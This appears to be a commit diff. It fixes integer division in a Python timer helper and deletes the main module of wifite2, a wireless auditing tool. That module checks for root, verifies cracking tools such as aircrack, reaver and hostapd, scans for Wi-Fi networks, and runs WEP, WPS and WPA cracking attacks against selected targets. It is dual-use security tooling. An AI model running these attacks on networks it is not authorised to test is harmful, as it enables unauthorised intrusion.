# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import time import time
@@ -28,12 +28,12 @@ class Timer(object):
return '-%ds' % seconds return '-%ds' % seconds
rem = int(seconds) rem = int(seconds)
hours = rem / 3600 hours = int(rem / 3600)
mins = (rem % 3600) / 60 mins = int((rem % 3600) / 60)
secs = rem % 60 secs = rem % 60
if hours > 0: if hours > 0:
return "%dh%dm%ds" % (hours, mins, secs) return '%dh%dm%ds' % (hours, mins, secs)
elif mins > 0: elif mins > 0:
return "%dm%ds" % (mins, secs) return '%dm%ds' % (mins, secs)
else: else:
return "%ds" % secs return '%ds' % secs

View File

@@ -1,287 +0,0 @@
#!/usr/bin/python3.7
# -*- coding: utf-8 -*-
try:
from .config import Configuration
except (ValueError, ImportError) as e:
raise Exception('You may need to run wifite from the root directory (which includes README.md)', e)
from .util.scanner import Scanner
from .util.process import Process
from .util.color import Color
from .util.crack import CrackHandshake
from .util.input import raw_input
from .attack.wep import AttackWEP
from .attack.wpa import AttackWPA
from .attack.wps import AttackWPS
from .model.result import CrackResult
from .model.handshake import Handshake
import json
import os
import sys
class Wifite(object):
def main(self):
''' Either performs action based on arguments, or starts attack scanning '''
if os.getuid() != 0:
Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}')
Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}')
Configuration.exit_gracefully(0)
Configuration.initialize(load_interface=False)
self.dependency_check()
if Configuration.show_cracked:
self.display_cracked()
elif Configuration.check_handshake:
self.check_handshake(Configuration.check_handshake)
elif Configuration.crack_handshake:
CrackHandshake()
else:
Configuration.get_monitor_mode_interface()
self.run()
def dependency_check(self):
''' Check that required programs are installed '''
from .tools.airmon import Airmon
from .tools.airodump import Airodump
from .tools.aircrack import Aircrack
from .tools.aireplay import Aireplay
from .tools.ifconfig import Ifconfig
from .tools.iwconfig import Iwconfig
from .tools.hostapd import Hostapd
from .tools.dnsmasq import Dnsmasq
from .tools.iptables import Iptables
from .tools.bully import Bully
from .tools.reaver import Reaver
from .tools.wash import Wash
from .tools.pyrit import Pyrit
from .tools.tshark import Tshark
from .tools.macchanger import Macchanger
apps = [
# Aircrack
Airmon, Airodump, Aircrack, Aireplay,
# wireless/net tools
Iwconfig, Ifconfig,
# WPS
Reaver, Bully,
# Cracking/handshakes
Pyrit, Tshark,
# Misc
Macchanger
]
if Configuration.use_eviltwin:
apps.extend([Hostapd, Dnsmasq, Iptables])
missing_required = any([app.fails_dependency_check() for app in apps])
if missing_required:
Color.pl('{!} {R}required app(s) were not found, exiting.{W}')
sys.exit(-1)
#if missing_optional:
# Color.pl('{!} {O}recommended app(s) were not found')
# Color.pl('{!} {O}wifite may not work as expected{W}')
def display_cracked(self):
''' Show cracked targets from cracked.txt '''
name = CrackResult.cracked_file
if not os.path.exists(name):
Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)
return
with open(name, 'r') as fid:
cracked_targets = json.loads(fid.read())
if len(cracked_targets) == 0:
Color.pl('{!} {R}no results found in {O}%s{W}' % name)
else:
Color.pl('{+} displaying {G}%d {C}cracked target(s){W}\n' % len(cracked_targets))
for item in cracked_targets:
cr = CrackResult.load(item)
cr.dump()
Color.pl('')
def check_handshake(self, capfile):
''' Analyzes .cap file for handshake '''
if capfile == '<all>':
Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
try:
capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
except OSError as e:
capfiles = []
if len(capfiles) == 0:
Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
else:
capfiles = [capfile]
for capfile in capfiles:
Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
if not os.path.exists(capfile):
Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
return
hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
hs.analyze()
Color.pl('')
def run(self):
'''
Main program.
1) Scans for targets, asks user to select targets
2) Attacks each target
'''
s = Scanner()
if s.target:
# We found the target we want
targets = [s.target]
else:
targets = s.select_targets()
attacked_targets = 0
targets_remaining = len(targets)
for idx, t in enumerate(targets, start=1):
attacked_targets += 1
targets_remaining -= 1
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})'
% (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown"))
# TODO: Check if Eviltwin attack is selected.
if Configuration.use_eviltwin:
pass
elif 'WEP' in t.encryption:
attack = AttackWEP(t)
elif 'WPA' in t.encryption:
# TODO: Move WPS+WPA decision to a combined attack
if t.wps:
attack = AttackWPS(t)
result = False
try:
result = attack.run()
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining, 1):
break
if result and attack.success:
# We cracked it.
attack.crack_result.save()
continue
else:
# WPS failed, try WPA handshake.
attack = AttackWPA(t)
else:
# Not using WPS, try WPA handshake.
attack = AttackWPA(t)
else:
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
continue
try:
attack.run()
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or True:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining):
break
if attack.success:
attack.crack_result.save()
Color.pl("{+} Finished attacking {C}%d{W} target(s), exiting" % attacked_targets)
def print_banner(self):
""" Displays ASCII art of the highest caliber. """
Color.pl('''\
{G} . {GR}{D} {W}{G} . {W}
{G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}
{G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor
{G}`. · `{GR}{D}\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2
{G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}
''' % Configuration.version)
def user_wants_to_continue(self, targets_remaining, attacks_remaining=0):
''' Asks user if attacks should continue onto other targets '''
if attacks_remaining == 0 and targets_remaining == 0:
# No targets or attacksleft, drop out
return
prompt_list = []
if attacks_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
if targets_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
prompt = ' and '.join(prompt_list)
Color.pl('{+} %s remain, do you want to continue?' % prompt)
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
' or {R}s{W} to {R}stop{W}: ')
if raw_input(prompt).lower().startswith('s'):
return False
else:
return True
def run():
w = Wifite()
w.print_banner()
try:
w.main()
except Exception as e:
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
if Configuration.verbose > 0 or True:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
Color.pl('\n{!} {R}Exiting{W}\n')
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted, shutting down...{W}')
Configuration.exit_gracefully(0)
if __name__ == '__main__':
run()

File diff suppressed because it is too large Load Diff